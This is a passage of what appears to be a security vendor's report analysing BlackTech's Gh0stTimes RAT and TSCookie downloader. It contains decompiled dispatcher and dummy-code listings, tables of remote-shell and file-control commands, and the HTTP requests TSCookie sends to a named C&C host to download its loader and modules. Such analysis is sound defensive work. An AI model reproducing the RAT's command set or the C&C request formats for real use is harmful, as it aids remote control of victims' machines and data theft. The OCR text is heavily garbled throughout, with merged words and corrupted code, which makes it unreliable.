(CFileManager cl assgxaanud{ C&8meltleMamal b atrcel as s )
reedsfro@®@h0st RAT.

1| inte4 _ fastcall CKernelManager::0OnReceive(_ int&4 this, _BYTE *1lpBuffer)
2
3| __inte4 result; JJ/ rax
5 ~esult = *1pBuffer
5 =sult 1pBuffer;
6| switch ( *1pBuffer )
71 q
8 case @:
9 _InterlockedExchange((thiz + @x13AA8), 1);
18 return result;
11 case 1:
12 ~esult = MyCreateThread(@i64, @8i64, Loop_FileManager, *(*(this + 8) + @x138ie64), 8, 8, 8);
13 goto LABEL_4;
14 case Bx28:
15 ~esult = MyCreateThread(@is4, @i64, Loop_ShellManager, *(*(this + 8) + @x138ie4), @, @, 1);
16 goto LABEL_4;
17 case By2A:
18 return CreateEventaA(@ie4, 1, @, (this + ex120));
19 case Bx32:
28 ~esult = MyCreateThread(@ic4, @i64, Loop_PertmapManager, *(*(this + 8) + @x138ie64), @, @, 1);
21 goto LABEL_4;
22 case Bu3F:
23 ~esult = MyCreateThread(@ie4, @is4, Loop_UltraPortmapManager, *(*(this + 8) + @x138i64), @, @, 1);
24 |LABEL_4:
25 *F(this 4+ Bied * (*(this + Bx13AAB) )+ + 8x228) = result;
26 break;
27 default:
28 return result;

Figure 30. Added the feature to communicate with the C&C server
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3.82. Dummy Code I nsertion

GhOst Tirmeepseat edl vy inserts dummy code t o m &

Bl ackTech frequéenpleymfisesatihos technique.

236 GetLlocalTime (&v35);

237 LODWORD(v32) = w3S.wSecond;

238 LODWORD(v22) = w3S.wMinute;

239 LODWORD(v25) = w35.wHour;

248 LODWORD(w23) = v35S.wDay;

241 sprintf(&v72, "¥d-¥d-%d Bd:Hd:¥d", v35.w¥ear, v35.wMonth, . . . i
242 do

243 7

244 w28 = OpenEventA(@x1F@ea3u, 8, &Name);

245 w21 = WaitForSingleObject({hHandle, 8x64u});
245 Sleep(@x1F4u);

247 }

243 while ( !vze && w21 );

249 GetLocalTime (&v35);

258 LODWORD(v33) = w3S.wSecond;

251 LODWORD(v32) = w3S.wMinute;

252 LODWORD({v27) = w35.wHour;

253 LODWORD(v24) = v35.wDay;

254 sprintf(&v72, "¥d-%d-%d ¥d:Hd:¥d", v35.w¥ear, v35.wMonth, . , . 1s
255 if ( lv2e )

256 {

Figure 31.Inserted dummy code
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383. Contr ol Commands

GhOst Temeascposnt r ol commands for eacdpdmuatcitdmn
and remotexasdhetfi2dAddi t i,otnhailsl ymal ware support
specific commapdsatobponf§il e

Table 6. Control commands of GhOstTimes

Command ID Description

0x0 Communication termination

Ox1 Hle operation (CFileManager)

0x28 Remote shell execution (CShellManager)

0x32 C&C server redirect function (CPortmapManager)
Ox3F Proxy function (CUItraPortmapManager)

Table 7. File operation commands

Command ID Description

0x2 Retrieve a file list (SendFilesList)

0x3 Upload a file (UploadToRemote)

0x4 Download a file (CreateLocalRecvFile)
0x5 Download a file (WriteLocalRecvFile)
0x7 Upload a file (SendFileData)

0x8 Stop file transfer (StopTransfer)

0x9 Delete a file (DeleteFile)

OxA Delete a folder

0xB Set transfer mode (SetTransferMode)
0xC Create a folder (CreateFolder)

0xD Rename a file (Rename)

OxE Execute a file (OpenFile (SW_SHOW))
OxF Execute a file (OpenFile (SW_HIDE))
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384. C&C Communi cati on

GhOstTimes uses a proprietary TCP protocol
server. At the beginning of its communicati o
sends an autheanhdcatait@an floD gener at.i nighencr y
aut henticatsi onnotl orrect, a uTthhee nd nn ccrayt p toino nf ak

generated by prdadeas siemg tfthreom the victim host

at the beginning of Afhteercwarrniu,ni @k 9 toTi. me s
control comma nedrsc rtyhpatit ¢ da r @ u s t almg ARICAR E#H X OR
OxA@nd compressed with zlib.

® NTT Security Holdings
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39. TSCooki e

TSCookie is a downloader that downl oads TSCo
[11] . The downl oaded files are encoded. The
after |l oading them on memor y, etxhen si tt weox eveeu ts

TSCooMiedoarsd ELF Wwdmsaifggn.s sectiona

ver si on,hpemxd s extpilamnnsELF binary
TSCookie Loader and TSCookie RAT
[10][11].

391. Decrypting DLL

Executing TSCooki e tleenacdsy pttcee dl adad aR @4

exists in the resource section of

DLL fil e. The decrypted DLL idoanhteari nBI| adcuknTneyc

mal war e.

int dummy_code()

{
int va; //
__int64 vi; //
DWORD CurrentProcessId; //
__int64 TickCount; //
__int64 v5; //
__int64 v6; [/

= 0;
= GetTickCount();
if ( (int)(  int64)sin((double) )% 13 <=8 )
LABEL_4:
= GetTickCount();
return ( inted)sin((double)ve);
¥
else
while ( GetlastError() != 1)
r
{
printf(&Format);
++u0;
= GetTickCount();
if ( = (int)(__int64)sin((double)vs) % 13 )
goto LABEL_4;
3
= GetCurrentProcessId();
LODWORD(v1) = * GetlastError();
¥
return
}

Figure 32. Inserted dummy code
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Afteexecuting the decrypted DLL, it wi ||
conf@iragi,onvhi ch includes desti sathiawodde b fi C&tCh e
sampl e, and i tss adtmolsatamee as the samples re

JPCERT/ CC [11].

392. Downl oading Loader

TSCookie connects to the C&C server using HT
TSCookie Loader. When TSCookie downloads TSC
encrypted data to the C&C server. JPCERT/ CQ
inserted the encrypdcecik adahteaadeart of] thle. CWher e a
inserted t htheddtRd ipmat d .

GET /t1970180758.aspx?m=2369537176&n=FC127CA7F9632B&x=95B25EE4A930B8D351F4255207 HTTP/1.1
Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)

Host: cartmilonline.servequake.com:443

Figure 33. GET request to download the loader

URL p&stheplaced by swprintf ()T DQosokdd diih ef or ma t

encryptednaat wo parts, and isheespbetd pygsirtain
number. The URL path of HTTKB GET request is

/t%u.aspx?m=%u&%c=%s&%c="%s

@ @ B3 ® ® ®

L —

, Randomized 32bit integer

, Randomized lowercase alphabets
Former part of encrypted data

Latter part of encrypted data

Figure 34. URL path format
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The structure of t he ori gi nsadndddregag hwehfi acrhe
encrypthas been changed since the exfxildfi mg r

fol $ow

Table 8. Structure of sending data before encryption by GET request

Offset Length Contents

0x00 4 Four bytes hex value created from
system information

0x04 4 0x10050017

0x08 4 Ox1E9CEGBA

0x0C 4 0x04

0x10 4 Four bytes hex value created from

system information

Thi s download activity wifobnyotsewvxécuthe ifes
data do not mat-<chldta tvlaé ulrari s t he sampl e.
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393. Downl oading modul es

Af t er downl oading TSCookownlLoadl®rit3IS@odkl e
POST method is used for downloading the modu
encrypted data into theeBOBPY|l paert.s Tse dDatse t
key.

POST /t407637976.aspx?m=4242055968 HTTP/1.1
Connection: Keep-Alive

Date: Tue, 15 Mar 2022 11:42:32 GMT

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Content-Length: 57

Host: cartmilonline.servequake.com:443

Figure 35. POST request to download the modules

This POST request al so awdrsk ss ens haa arutnlde aetv
seconds. Howevefrgbryf es hef ft hetresponse does
haradoded value in the sample, thef POBTthequexs

request.
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3.10. ELF_TSCooki e

Thi s secti onEL E X pvlearisni$8 @ o okfi e

ELF_TSCocoktains same functions as Windows \Jer
functions are | imited.

The samples, which we found, tmegetusetsonbiyt
also FreeBSD ones. tWe adsdwam&ketrhatses the diffler
TSCookie depending on the target's environmeht.
The commandofealrusesarmmlveebangedthfeeamues reportped
by PCERT[/XZ] . This JPCERTV/idE€sraemerdeprail ed anfal

of the past sampl es

3.1001. Characteristics

The resdlitlee dfe adelofmmasnadr e as f ol |l ows:

Figure 36. File i nformation of = ELF_TSCookie

Th e i°lce@emmand resul t showsi hked
command resul t i ndi cates t hat
devel opment enkvir csreremst .t hat at

environment al probl ems.
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